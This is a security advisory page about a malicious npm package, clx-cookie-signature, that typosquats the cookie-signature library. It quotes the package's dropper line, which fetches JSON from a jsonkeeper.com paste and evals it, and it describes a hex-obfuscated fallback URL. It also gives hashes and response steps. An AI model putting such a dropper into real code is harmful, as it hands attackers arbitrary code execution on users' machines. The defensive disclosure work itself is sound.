NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

clx-cookie-signaturenpm

Advisory published Updated

clx-cookie-signature is a confirmed malicious npm package (MAL-2026-6141) that typosquats a legitimate package to trick installs (malicious version 1.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in clx-cookie-signature (npm)

MAL-2026-6141
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall clx-cookie-signature

What this malware does

Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk [email protected]', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), eval'ing whatever JSON the author currently hosts at that URL. A helper g() (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.2.1

Indicators of compromise (SHA-256)

9e0e91601d276764067b1b209efd17a1f59ef03ff4fc814bcb22c495f4a0f9b3
b6f8bcf9ace189d38ea749fd2cf087f05e80dbb540c2c7b3bb0466e30a269008
9e83d0ddfd8a5422ce4eaf0625b18e472efa12bd4b2fa1a7a868d6738ea681c1
7c61956e6adf133a9ac34dcb89e7ed87773c6145d89ff84e06d5fd40c1384372

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for clx-cookie-signature (version 1.2.1).

  2. If you installed it — respond

    clx-cookie-signature is a typosquat — you almost certainly intended a legitimately-named package. Remove clx-cookie-signature, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If clx-cookie-signature was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. clx-cookie-signature on npm has been identified as a malicious package (version 1.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007036GHSA-vwwm-x6xj-cfmfRLMA-2026-05516

References

Credits

  • Amazon Inspector · finder
  • ReversingLabs · finder

Detect & block this

O3 blocks clx-cookie-signature-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

clx-cookie-signature (npm) malicious package — MAL-2026-6141 | O3 Security